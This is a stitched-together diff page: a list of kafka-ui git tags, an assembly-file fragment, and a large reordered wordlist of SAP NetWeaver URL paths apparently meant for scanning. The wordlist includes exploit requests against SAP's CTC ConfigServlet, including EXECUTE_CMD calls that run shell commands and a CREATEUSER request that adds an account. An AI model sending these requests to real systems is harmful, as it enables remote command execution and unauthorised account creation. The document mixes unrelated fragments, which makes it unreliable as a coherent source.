"commit": {
"sha": "f08970c1d8910091a392d26b51db33b5c99a0f81"
}
},
{
"name": "v0.0.9",
"commit": {
"sha": "f98abfb79dc2c437f1b6cb5f534da560c85c5406"
}
},
{
"name": "v0.0.8",
"commit": {
"sha": "222cf2c65189c97877491c7bcc6fc14982ce65d7"
}
},
{
"name": "v0.0.7",
"commit": {
"sha": "2a743a5bf4b27a6cc9cb857bd178c2e724d98821"
}
},
{
"name": "v0.0.6",
"commit": {
"sha": "f6253b6bfaa249236ac1b4f0505f4b7af8f89116"
}
},
{
"name": "v0.0.5",
"commit": {
"sha": "abae56b3d0d2383d0351280213236cd988fd6d28"
}
},
{
"name": "v0.0.4",
"commit": {
"sha": "4190d76f2fefb65cb898f6c648e932b2c1a5fba3"
}
},
{
"name": "v0.0.3",
"commit": {
"sha": "8057dc123f23f6da9752d712edeb5e7e490b648c"
}
},
{
"name": "v0.0.2",
"commit": {
"sha": "f5bb336a75351379dad289b73a85f6ebf8ff5498"
}
},
{
"name": "v0.0.1",
"commit": {
"sha": "ed08f278f95dca46e58e24a13923939d268eedd3"
}
},
{
"name": "charts/kafka-ui-0.7.1",
"commit": {
"sha": "c998e17e8322a867c02ef4cdf577aa33c2d3a81e"
}
},
{
"name": "charts/kafka-ui-0.7.0",
"commit": {
"sha": "78cc4dd981a89b26006fea0984f1305bc663281f"
}
},
{
"name": "charts/kafka-ui-0.6.2",
"commit": {
"sha": "838fb604d569dae18a1a7a85ef28ed2c125df986"
}
},
{
"name": "charts/kafka-ui-0.6.1",
"commit": {
"sha": "4a1e987a1d2a958119ab5c936d4b1d82125e14d9"
}
},
{
"name": "charts/kafka-ui-0.6.0",
"commit": {
"sha": "f2a2574ddc8bbe20776071569935922c3593d5e7"
}
},
{
"name": "charts/kafka-ui-0.5.4",
"commit": {
"sha": "334ba3df99dfc84385faace167f6410c8ce0be91"
}
},
{
"name": "charts/kafka-ui-0.5.3",
"commit": {
"sha": "cbb166026d8c6360836def9bf9c208313023961c"
}
}
]
@@ -88,6 +88,7 @@ strtab:
db 0
db 0
strtabsz equ $ - strtab
align 16
global _start
_start:
Binary file not shown.
+1224 -140
View File
@@ -1,3 +1,7 @@
/@download@
/ADS-EJB
/ADS-License
/AE/index.jsp
/AdapterFramework/version/version.jsp
/AdminTools/
/Adobe
@@ -5,64 +9,26 @@
/AdobeDocumentServices/Config?wsdl
/AdobeDocumentServices/Grmg
/AdobeDocumentServicesSec/Config
/ADS-EJB
/ADS-License
/AE/index.jsp
/AnalyticalReporting/
/AnalyticalReporting/AnalyticalReporting_merge_web.xml
/AnalyticalReporting/download/win32/websetup.properties
/apidocs/
/apidocs/allclasses-frame.html
/apidocs/com/sap/engine/connector/connection/IConnection.html
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
/ApplicationAdminProvider
/bcb/
/bcb/bcbadmHome.jsp
/bcb/bcbadmNavigation.jsp
/bcb/bcbadmSettings.jsp
/bcb/bcbadmStart.jsp
/bcb/bcbadmSystemInfo.jsp
/bcbtest/start.jsp
/BI_UDC
/BizcCommLayerAuthoring/Config1
/BizcCommLayerAuthoring/Config1?wsdl
/BizcCommLayerAuthoring/Config?wsdl
/bwtest
/caf
/CAFDataService/Config
/CAFDataService/Config?wsdl
/ccsui
/CmcApp/logon.faces
/CMSRTS/Config1
/CMSRTS/Config1?wsdl
/CMSRTS/Config?wsdl
/com~tc~lm~webadmin~httpprovider~web
/CmcApp/logon.faces
/CrystalReports/viewrpt.cwr
/ctc
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ifconfig
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
/DataArchivingService
/dispatcher
/@download@
/dswsbobje
/dswsbobje/services/BICatalog?wsdl
/dswsbobje/services/listServices
/examples/
/examples_frame.html
/examples.html
/exchangeProfile/
/GRMGHeartBeat
/GRMGWSTest/service
/GRMGWSTest/service?wsdl
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
/htmlb/
/htmlb/docs/api/index.html
/htmlb/index.html
/htmlb/jsp/index.jsp
/htmlb/moresamples.html
/htmlb/samples.html
/IGSCustomizingXML
/IciActionItemService/IciActionItemConf
/IciActionItemService/IciActionItemConf?wsdl
/IciChatLineService/IciChatLineConf
@@ -86,11 +52,67 @@
/IciSystemService/IciSystemConf?wsdl
/IciUserService/IciUserConf
/IciUserService/IciUserConf?wsdl
/IGSCustomizingXML
/index.html
/InfoViewApp/
/InfoViewApp/help/en/user/html/
/InfoViewApp/listing/main.do?appKind=InfoView&service=%2FInfoViewApp%2Fcommon%2FappService.do
/KW
/Lighthammer
/Modeler
/OpenSQLMonitors/
/PerformacetraceTraceApplication
/RE/index.jsp
/SAPIKS
/SAPIKS2
/SAPIKS2/contentShow.sap
/SAPIKS2/jsp/adminShow.jsp
/SAPIrExtHelp
/SLDStart/plain
/SLDStart/secure
/SQLtrace/index.html
/TOdbo
/TSapq
/TXmla
/TestJDBC_Web
/VC
/WSConnector/Config1
/WSConnector/Config1?wsdl
/WSConnector/Config?wsdl
/apidocs/
/apidocs/allclasses-frame.html
/apidocs/com/sap/engine/connector/connection/IConnection.html
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
/bcb/
/bcb/bcbadmHome.jsp
/bcb/bcbadmNavigation.jsp
/bcb/bcbadmSettings.jsp
/bcb/bcbadmStart.jsp
/bcb/bcbadmSystemInfo.jsp
/bcbtest/start.jsp
/bwtest
/caf
/ccsui
/com~tc~lm~webadmin~httpprovider~web
/ctc
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ifconfig
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
/dispatcher
/dswsbobje
/dswsbobje/services/BICatalog?wsdl
/dswsbobje/services/listServices
/examples.html
/examples/
/examples_frame.html
/exchangeProfile/
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
/htmlb/
/htmlb/docs/api/index.html
/htmlb/index.html
/htmlb/jsp/index.jsp
/htmlb/moresamples.html
/htmlb/samples.html
/index.html
/inspection.wsil
/ipcpricing/ui/
/irj
@@ -111,32 +133,26 @@
/irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
/irj/servlet/prt/portal/prtroot/pcd!(*)
/irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
/KW
/Lighthammer
/logon
/logon/index.jsp
/logon/logonServlet
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
/logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
/logon/logonServlet?redirectURL=%FVC%Fdefault.jsp
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
/main.html
/meSync/HttpGRMGTest.html
/mmr/
/mmr/mmr/MMRUI.html
/Modeler
/modeller/
/modeller/index.html
/monitoring
/monitoring/SystemInfo
/nwa
/OpenSQLMonitors/
/PerformacetraceTraceApplication
/performanceProvierRoot
/pmi
/portal
/portalapps
/RE/index.jsp
/rep/build_info.html
/rep/build_info.jsp
/rep/start/index.jsp
@@ -147,9 +163,24 @@
/samlssodemo_dest
/samlssodemo_source
/sap/
/sap/BSSP_SP_MAPS
/sap/IStest
/sap/admin
/sap/admin/public/index.html
/sap/ap
/sap/bc/FormToRfc
/sap/bc/FormToRfc/soap
/sap/bc/IDoc_XML
/sap/bc/MIDSD
/sap/bc/MJC
/sap/bc/MJC/
/sap/bc/MJC/mi_host
/sap/bc/MJC/mi_mds
/sap/bc/MJC/mi_service
/sap/bc/MJC/mi_services
/sap/bc/MY_NEW_SERV99
/sap/bc/Mi_host_http
/sap/bc/Mime
/sap/bc/abap/demo
/sap/bc/abap/demo_apc
/sap/bc/abap/demo_apc_pcp
@@ -184,34 +215,34 @@
/sap/bc/bsp/sap/certmap
/sap/bc/bsp/sap/certreq
/sap/bc/bsp/sap/crm_bsp_frame
/sap/bc/bsp/sap/crm_ic_ise/editor
/sap/bc/bsp/sap/crm_thtmlb_util
/sap/bc/bsp/sap/crm_ui_frame
/sap/bc/bsp/sap/crm_ui_start
/sap/bc/bsp/sap/crmcmp_bpident/
/sap/bc/bsp/sap/crmcmp_brfcase
/sap/bc/bsp/sap/crmcmp_hdr
/sap/bc/bsp/sap/crmcmp_hdr_std
/sap/bc/bsp/sap/crmcmp_ic_frame
/sap/bc/bsp/sap/crm_ic_ise/editor
/sap/bc/bsp/sap/crm_thtmlb_util
/sap/bc/bsp/sap/crm_ui_frame
/sap/bc/bsp/sap/crm_ui_start
/sap/bc/bsp/sap/esh_sapgui_exe
/sap/bc/bsp/sap/esh_sap_link
/sap/bc/bsp/sap/esh_sapgui_exe
/sap/bc/bsp/sap/graph_bsp_test
/sap/bc/bsp/sap/graph_bsp_test/Mimes
/sap/bc/bsp/sap/gsbirp
/sap/bc/bsp/sap/hrrcf_wd_dovru
/sap/bc/bsp/sap/htmlb_samples
/sap/bc/bsp/sap/ic_frw_notify
/sap/bc/bsp/sap/iccmp_bp_cnfirm
/sap/bc/bsp/sap/iccmp_hdr_cntnr
/sap/bc/bsp/sap/iccmp_hdr_cntnt
/sap/bc/bsp/sap/iccmp_header
/sap/bc/bsp/sap/iccmp_ssc_ll/
/sap/bc/bsp/sap/ic_frw_notify
/sap/bc/bsp/sap/it00
/sap/bc/bsp/sap/it00/default.htm
/sap/bc/bsp/sap/it00/http_client.htm
/sap/bc/bsp/sap/it00/http_client_xml.htm
/sap/bc/bsp/sap/public/bc
/sap/bc/bsp/sap/public/FAA
/sap/bc/bsp/sap/public/bc
/sap/bc/bsp/sap/public/graphics
/sap/bc/bsp/sap/public/sem
/sap/bc/bsp/sap/sam_demo
@@ -221,17 +252,17 @@
/sap/bc/bsp/sap/sbspext_xhtmlb
/sap/bc/bsp/sap/spi_admin
/sap/bc/bsp/sap/spi_monitor
/sap/bc/bsp/sapsrm
/sap/bc/bsp/sapsrm/bsp_dhtml_apple
/sap/bc/bsp/sapsrm/bsp_java_applet
/sap/bc/bsp/sapsrm/call_sig_ctrl
/sap/bc/bsp/sapsrm/ctlg_wrapper
/sap/bc/bsp/sap/sxms_alertrules
/sap/bc/bsp/sap/system
/sap/bc/bsp/sap/thtmlb_scripts
/sap/bc/bsp/sap/thtmlb_styles
/sap/bc/bsp/sap/uicmp_ltx
/sap/bc/bsp/sap/xmb_bsp_log
/sap/bc/bsp/sapsrm
/sap/bc/bsp/sapsrm/bsp_dhtml_apple
/sap/bc/bsp/sapsrm/bsp_java_applet
/sap/bc/bsp/sapsrm/call_sig_ctrl
/sap/bc/bsp/sapsrm/ctlg_wrapper
/sap/bc/contentserver
/sap/bc/docu
/sap/bc/echo
@@ -249,23 +280,10 @@
/sap/bc/erecruiting/verification
/sap/bc/error
/sap/bc/error
/sap/bc/FormToRfc
/sap/bc/FormToRfc/soap
/sap/bc/graphics/net
/sap/bc/gui/sap/its/CERTREQ
/sap/bc/gui/sap/its/designs
/sap/bc/gui/sap/its/webgui
/sap/bc/IDoc_XML
/sap/bc/MIDSD
/sap/bc/Mi_host_http
/sap/bc/Mime
/sap/bc/MJC
/sap/bc/MJC/
/sap/bc/MJC/mi_host
/sap/bc/MJC/mi_mds
/sap/bc/MJC/mi_service
/sap/bc/MJC/mi_services
/sap/bc/MY_NEW_SERV99
/sap/bc/ping
/sap/bc/report
/sap/bc/soap/ici
@@ -276,19 +294,23 @@
/sap/bc/wdvd
/sap/bc/wdvd/
/sap/bc/webdynpro
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
/sap/bc/webdynpro/sap/apb_launchpad
/sap/bc/webdynpro/sap/apb_launchpad_nwbc
/sap/bc/webdynpro/sap/apb_lpd_light_start
/sap/bc/webdynpro/sap/apb_lpd_start_url
/sap/bc/webdynpro/sap/application_exit
/sap/bc/webdynpro/sap/appl_log_trc_viewer
/sap/bc/webdynpro/sap/appl_soap_management
/sap/bc/webdynpro/sap/application_exit
/sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
/sap/bc/webdynpro/sap/cnp_light_test
/sap/bc/webdynpro/sap/configure_application
/sap/bc/webdynpro/sap/configure_component
/sap/bc/webdynpro/sap/esh_admin_ui_component
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
/sap/bc/webdynpro/sap/esh_admin_ui_component
/sap/bc/webdynpro/sap/esh_eng_modelling
/sap/bc/webdynpro/sap/esh_search_results.ui
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui
@@ -314,25 +336,20 @@
/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin
/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager
/sap/bc/webdynpro/sap/hrrcf_a_tp_assess
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
/sap/bc/webdynpro/sap/wd_analyze_config_appl
/sap/bc/webdynpro/sap/wd_analyze_config_comp
/sap/bc/webdynpro/sap/wd_analyze_config_user
/sap/bc/webdynpro/sap/wdhc_application
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
/sap/bc/webdynpro/sap/wdr_test_popups_rt
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
/sap/bc/webdynpro/sap/wdr_test_ui_elements
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
/sap/bc/webrfc
/sap/bc/workflow/shortcut
/sap/bc/xrfc
/sap/bc/xrfc_test
/sap/BSSP_SP_MAPS
/sap/crm
/sap/es/atk
/sap/es/cockpit
@@ -347,16 +364,39 @@
/sap/gw
/sap/gw/bep
/sap/gw/jsonrpc
/SAPIKS
/SAPIKS2
/SAPIKS2/contentShow.sap
/SAPIKS2/jsp/adminShow.jsp
/SAPIrExtHelp
/sap/IStest
/sapmc/sapmc.html
/sap/monitoring/
/sap/public
/sap/public/BusinessSuite
/sap/public/BusinessSuite/BCV
/sap/public/BusinessSuite/BSSP
/sap/public/BusinessSuite/CBESH_ICONS
/sap/public/BusinessSuite/CloCo
/sap/public/BusinessSuite/TM
/sap/public/BusinessSuite/TM/FlashIslands
/sap/public/BusinessSuite/TM/Icons
/sap/public/BusinessSuite/TM/Icons_rtl
/sap/public/E2EALERT
/sap/public/ES
/sap/public/HRPDV
/sap/public/HRPDV/Icons
/sap/public/HRRenewal
/sap/public/HRRenewal/PB
/sap/public/LSOFE
/sap/public/LSOFE/IconLarge
/sap/public/LSOFE/IconLarge/CORBU
/sap/public/LSOFE/IconLarge/TRADESHOW
/sap/public/LSOFE/Pictogram
/sap/public/LSOFE/Pictogram/CORBU
/sap/public/LSOFE/Pictogram/TRADESHOW
/sap/public/PPM
/sap/public/PPM/PFM
/sap/public/PPM/PFM/BCV
/sap/public/PPM/PFM/UI
/sap/public/PPM/PRO
/sap/public/bc
/sap/public/bc/AR_NEWS_REDRCT
/sap/public/bc/NWDEMO_MODEL
/sap/public/bc/NW_ESH_TST_AUTO
/sap/public/bc/abap
/sap/public/bc/abap/docu
/sap/public/bc/abap/mime_demo
@@ -364,7 +404,6 @@
/sap/public/bc/apc_test
/sap/public/bc/apc_test/apc_tcp_test_sf
/sap/public/bc/apc_test/apc_tcp_test_sl
/sap/public/bc/AR_NEWS_REDRCT
/sap/public/bc/bpo
/sap/public/bc/bsp
/sap/public/bc/clms
@@ -388,8 +427,6 @@
/sap/public/bc/its/mobile/test
/sap/public/bc/its/scripts
/sap/public/bc/jsm
/sap/public/bc/NWDEMO_MODEL
/sap/public/bc/NW_ESH_TST_AUTO
/sap/public/bc/pictograms
/sap/public/bc/qgm
/sap/public/bc/sec
@@ -410,13 +447,13 @@
/sap/public/bc/ur
/sap/public/bc/wdtracetool
/sap/public/bc/webdynpro
/sap/public/bc/webdynpro/adobechallenge
/sap/public/bc/webdynpro/adobeChallenge
/sap/public/bc/webdynpro/mimes
/sap/public/bc/webdynpro/Polling
/sap/public/bc/webdynpro/ViewDesigner
/sap/public/bc/webdynpro/adobeChallenge
/sap/public/bc/webdynpro/adobechallenge
/sap/public/bc/webdynpro/mimes
/sap/public/bc/webdynpro/ssr
/sap/public/bc/webdynpro/viewdesigner
/sap/public/bc/webdynpro/ViewDesigner
/sap/public/bc/webicons
/sap/public/bc/workflow
/sap/public/bc/workflow/shortcut
@@ -424,31 +461,16 @@
/sap/public/bsp/sap
/sap/public/bsp/sap/htmlb
/sap/public/bsp/sap/public
/sap/public/bsp/sap/public/FAA
/sap/public/bsp/sap/public/ISE
/sap/public/bsp/sap/public/SEM
/sap/public/bsp/sap/public/bc
/sap/public/bsp/sap/public/faa
/sap/public/bsp/sap/public/FAA
/sap/public/bsp/sap/public/graphics
/sap/public/bsp/sap/public/graphics/jnet_handler
/sap/public/bsp/sap/public/graphics/mimes
/sap/public/bsp/sap/public/ISE
/sap/public/bsp/sap/public/SEM
/sap/public/bsp/sap/system
/sap/public/bsp/sap/system_public
/sap/public/BusinessSuite
/sap/public/BusinessSuite/BCV
/sap/public/BusinessSuite/BSSP
/sap/public/BusinessSuite/CBESH_ICONS
/sap/public/BusinessSuite/CloCo
/sap/public/BusinessSuite/TM
/sap/public/BusinessSuite/TM/FlashIslands
/sap/public/BusinessSuite/TM/Icons
/sap/public/BusinessSuite/TM/Icons_rtl
/sap/public/E2EALERT
/sap/public/ES
/sap/public/HRPDV
/sap/public/HRPDV/Icons
/sap/public/HRRenewal
/sap/public/HRRenewal/PB
/sap/public/icf_check
/sap/public/icf_info
/sap/public/icf_info/icr_groups
@@ -457,23 +479,14 @@
/sap/public/icf_info/urlprefix
/sap/public/icman
/sap/public/icman/ping
/sap/public/icmandir/its/kernel_version.info
/sap/public/icmandir/last_update_ITS.txt
/sap/public/icmandir/last_update_icmadmin.txt
/sap/public/info
/sap/public/LSOFE
/sap/public/LSOFE/IconLarge
/sap/public/LSOFE/IconLarge/CORBU
/sap/public/LSOFE/IconLarge/TRADESHOW
/sap/public/LSOFE/Pictogram
/sap/public/LSOFE/Pictogram/CORBU
/sap/public/LSOFE/Pictogram/TRADESHOW
/sap/public/myssocntl
/sap/public/opu
/sap/public/opu/resources
/sap/public/ping
/sap/public/PPM
/sap/public/PPM/PFM
/sap/public/PPM/PFM/BCV
/sap/public/PPM/PFM/UI
/sap/public/PPM/PRO
/sap/wdisp/admin
/sap/wdvd
/sap/webcuif
@@ -485,26 +498,20 @@
/sap/webdynpro/sap/hrtmc_ta_assessment
/sap/webdynpro/sap/hrtmc_ta_dashboard
/sap/webdynpro/sap/wd_analyze_config_user
/sapmc/sapmc.html
/scripts/wgate
/servlet/com.sap.admin.Critical.Actio
/sim/
/sim/config/testdata.jsp
/sim/config/testerror.jsp
/sim/index.html
/SLDStart/plain
/SLDStart/secure
/socoview
/socoview/flddisplay.asp
/SQLtrace/index.html
/sysconfig
/tc/lm/webadmin/clusteradmin
/tc.lm.webadmin.endtoend.public.app
/tc/lm/webadmin/clusteradmin
/teched/test
/TestJDBC_Web
/TOdbo
/top.html
/TSapq
/TXmla
/uddi/
/uddiclient
/uddiclient/jsps/index.jsp
@@ -512,7 +519,6 @@
/useradmin
/userhome
/utl/UsageTypesInfo
/VC
/vscantest/
/webdynpro/dispatcher
/webdynpro/dispatcher/
@@ -530,14 +536,11 @@
/webdynpro/dispatcher/sap.com/tc~slm~ui_lup/LUP
/webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
/webdynpro/dispatcher/sap.com/tc~wd~tools
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
/webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
/webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
/webdynpro/resources/sap.com/
/webdynpro/welcome/Welcome.jsp
/WSConnector/Config1
/WSConnector/Config1?wsdl
/WSConnector/Config?wsdl
/wsd2wsdl
/wsnavigator
/wsnavigator/jsps/index.jsp
@@ -547,3 +550,1084 @@
/wssproc/cert
/wssproc/plain
/wssproc/ssl
@download@
ADS-EJB
ADS-License
AE/index.jsp
Adobe
AdobeDocumentServices/Config
AdobeDocumentServices/Config?wsdl
AdobeDocumentServices/Grmg
AdobeDocumentServicesSec/Config
ApplicationAdminProvider
BI_UDC
BizcCommLayerAuthoring/Config1
BizcCommLayerAuthoring/Config1?wsdl
BizcCommLayerUtilities/Config1
CAFDataService/Config
CAFDataService/Config?wsdl
CMSRTS/Config1
CMSRTS/Config1?wsdl
DataArchivingService
GRMGHeartBeat
GRMGWSTest/service
GRMGWSTest/service?wsdl
IGSCustomizingXML
IciActionItemService/IciActionItemConf
IciActionItemService/IciActionItemConf?wsdl
IciChatLineService/IciChatLineConf
IciChatLineService/IciChatLineConf?wsdl
IciChatSessionService/IciChatSessionConf
IciContainerService/IciContainerConf
IciEventService/
IciEventService/IciEventConf
IciEventService/IciEventConf?wsdl
IciEventService/sap
IciFolderService/IciFolderConf
IciFolderService/IciFolderConf?wsdl
IciItemService/IciItemConf
IciItemService/IciItemConf?wsdl
IciMessageService/IciMessageConf
IciMessageService/IciMessageConf?wsdl
IciMonitorService/IciMonitorConf
IciMonitorService/IciMonitorConf?wsdl
IciPhoneCallService/IciPhoneCallConf
IciPhoneCallService/IciPhoneCallConf?wsdl
IciPhoneLineService/IciPhoneLineConf
IciSystemService/IciSystemConf
IciSystemService/IciSystemConf?wsdl
IciUserService/IciUserConf
IciUserService/IciUserConf?wsdl
KW
Lighthammer
Modeler
OpenSQLMonitors
OpenSQLMonitors/
OpenSQLMonitors/index.html
PerformacetraceTraceApplication
RE/index.jsp
SAPIKS
SAPIKS2
SAPIKS2/contentShow.sap
SAPIKS2/jsp/adminShow.jsp
SAPIrExtHelp
SLDStart/plain
SLDStart/secure
SQLTrace
SQLtrace/index.html
TOdbo
TSapq
TXmla
TestJDBC_Web
VC
WSConnector/Config1
WSConnector/Config1?wsdl
WSConnector/Config2
_default
apidocs/
apidocs/allclasses-frame.html
apidocs/com/sap/engine/connector/connection/IConnection.html
apidocs/com/sap/engine/deploy/manager/Deploymanager.html
apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
apidocs/com/sap/engine/deploy/manager/LoginInfo.html
bcb
bcb/
bcb/bcbadmHome.jsp
bcb/bcbadmNavigation.jsp
bcb/bcbadmSettings.jsp
bcb/bcbadmStart.jsp
bcb/bcbadmSystemInfo.jsp
bcbtest
bcbtest/start.jsp
bwtest
caf
ccsui
com~tc~lm~webadmin~httpprovider~web
ctc
ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=blabla,PASSWORD=blabla
ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
dispatcher
dswsbobje
dtr_lite
ecatt
entrypoints/recent
examples
examples.html
examples/
examples_frame.html
exchangeProfile
exchangeProfile/
guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
htmlb
htmlb/
htmlb/index.html
index.html
inspection.wsil
ipcpricing/ui/
irj
irj/go/km/basicsearch
irj/go/km/details
irj/go/km/docs
irj/go/km/docs/etc/public/mimes/images
irj/go/km/docs/etc/xmlforms
irj/go/km/docs/ume/users
irj/go/km/highlightedcontent
irj/go/km/navigation
irj/go/km/navigation/
irj/go/km/navigation/ume/users
irj/portal
irj/portalapps
irj/portalapps/com.petsmart.portal.navigation.masthead.idle_logout
irj/portalapps/com.sap.portal.design.portaldesigndata
irj/portalapps/com.sap.portal.design.urdesigndata
irj/portalapps/com.sap.portal.epcf.loader
irj/portalapps/com.sap.portal.navigation.detailedtree
irj/sdn/soa-discovery
irj/servlet
irj/servlet/prt
irj/servlet/prt/portal
irj/servlet/prt/portal/
irj/servlet/prt/portal/prtroot
irj/servlet/prt/portal/prtroot/PortalAnywhere.Go
irj/servlet/prt/portal/prtroot/com.sap.km.cm.basicsearch
irj/servlet/prt/portal/prtroot/com.sap.km.cm.docs -> webdav
irj/servlet/prt/portal/prtroot/com.sap.km.cm.highlightedcontent
irj/servlet/prt/portal/prtroot/com.sap.km.cm.navigation
irj/servlet/prt/portal/prtroot/com.sap.km.cm.uidetails
irj/servlet/prt/portal/prtroot/com.sap.km.home_ws
irj/servlet/prt/portal/prtroot/com.sap.netweaver.kmc.people.PeopleDetails?Uri=/ume/users/USER.PRIVATE_DATASOURCE.un%253AAdministrator.usr
irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.terminator
irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
irj/servlet/prt/portal/prtroot/pcd!(*)
irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
lcrabapapi
logon
logon/index.jsp
logon/logonServlet
logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
main.html
mbeanreg
meSync
meSync/HttpGRMGTest.html
mmr
mmr/
modeller/
modeller/index.html
monitoring
monitoringProvierRoot
nwa
performanceProvierRoot
pmi
portal
portalapps
rep/build_info.html
rep/build_info.jsp
rep/start/index.jsp
run/build_info.html
run/build_info.jsp
rwb/version.html
saml
samlssodemo_dest
samlssodemo_source
sap
sap/
sap/IStest
sap/admin
sap/admin/default.html
sap/admin/index.html
sap/ap
sap/bc
sap/bc/
sap/bc/BEx
sap/bc/FormToRfc
sap/bc/FormToRfc/soap
sap/bc/IDoc_XML
sap/bc/MIDSD
sap/bc/MJC
sap/bc/MJC/
sap/bc/MJC/mi_host
sap/bc/MJC/mi_mds
sap/bc/MJC/mi_service
sap/bc/MJC/mi_services
sap/bc/MY_NEW_SERV99
sap/bc/Mi_host_http
sap/bc/Mime
sap/bc/bsp
sap/bc/bsp/
sap/bc/bsp/esh_os_service/favicon.gif
sap/bc/bsp/sap
sap/bc/bsp/sap/
sap/bc/bsp/sap/SXSLT_DEMO
sap/bc/bsp/sap/absenceform_new
sap/bc/bsp/sap/alertinbox
sap/bc/bsp/sap/alertinboxwap
sap/bc/bsp/sap/bexlogon
sap/bc/bsp/sap/bkbtest
sap/bc/bsp/sap/bkbtest_sch
sap/bc/bsp/sap/brf_export_xml
sap/bc/bsp/sap/brf_info
sap/bc/bsp/sap/bsp_dlc_frcmp
sap/bc/bsp/sap/bsp_model
sap/bc/bsp/sap/bsp_veri
sap/bc/bsp/sap/bsp_verificatio
sap/bc/bsp/sap/bsp_vhelp
sap/bc/bsp/sap/bsp_wd_base
sap/bc/bsp/sap/bsp_wd_comp_spl
sap/bc/bsp/sap/bsp_wd_compbase
sap/bc/bsp/sap/bsp_wd_ddlb_spl
sap/bc/bsp/sap/bsp_wd_tree_spl
sap/bc/bsp/sap/bspwd_basics
sap/bc/bsp/sap/bspwd_cmp_embed
sap/bc/bsp/sap/bspwd_simple
sap/bc/bsp/sap/btf_ext_demo
sap/bc/bsp/sap/ccms_mc
sap/bc/bsp/sap/certmap
sap/bc/bsp/sap/certreq
sap/bc/bsp/sap/crm_bm
sap/bc/bsp/sap/crm_bsp_bab_dis
sap/bc/bsp/sap/crm_bsp_bab_dss
sap/bc/bsp/sap/crm_bsp_bab_exi
sap/bc/bsp/sap/crm_bsp_bab_fra
sap/bc/bsp/sap/crm_bsp_bab_pan
sap/bc/bsp/sap/crm_bsp_f1_help
sap/bc/bsp/sap/crm_bsp_f4_help
sap/bc/bsp/sap/crm_bsp_face
sap/bc/bsp/sap/crm_bsp_frame
sap/bc/bsp/sap/crm_bsp_listper
sap/bc/bsp/sap/crm_bsp_lst_prt
sap/bc/bsp/sap/crm_bsp_xbab_fr
sap/bc/bsp/sap/crm_bsp_xbab_pa
sap/bc/bsp/sap/crm_ei_cmp_admn
sap/bc/bsp/sap/crm_ic_check
sap/bc/bsp/sap/crm_ic_ise
sap/bc/bsp/sap/crm_ic_ise/editor
sap/bc/bsp/sap/crm_ic_mcm
sap/bc/bsp/sap/crm_ic_preview
sap/bc/bsp/sap/crm_ic_xmledit
sap/bc/bsp/sap/crm_ici_tst_cat
sap/bc/bsp/sap/crm_ml_preview
sap/bc/bsp/sap/crm_preview
sap/bc/bsp/sap/crm_prt_url_dis
sap/bc/bsp/sap/crm_thtmlb_util
sap/bc/bsp/sap/crm_ui_frame
sap/bc/bsp/sap/crm_ui_start
sap/bc/bsp/sap/crm_xml_test
sap/bc/bsp/sap/crmcmp_bpident/
sap/bc/bsp/sap/crmcmp_brfcase
sap/bc/bsp/sap/crmcmp_hdr
sap/bc/bsp/sap/crmcmp_hdr_std
sap/bc/bsp/sap/crmcmp_ic_frame
sap/bc/bsp/sap/decode_url
sap/bc/bsp/sap/ecteched
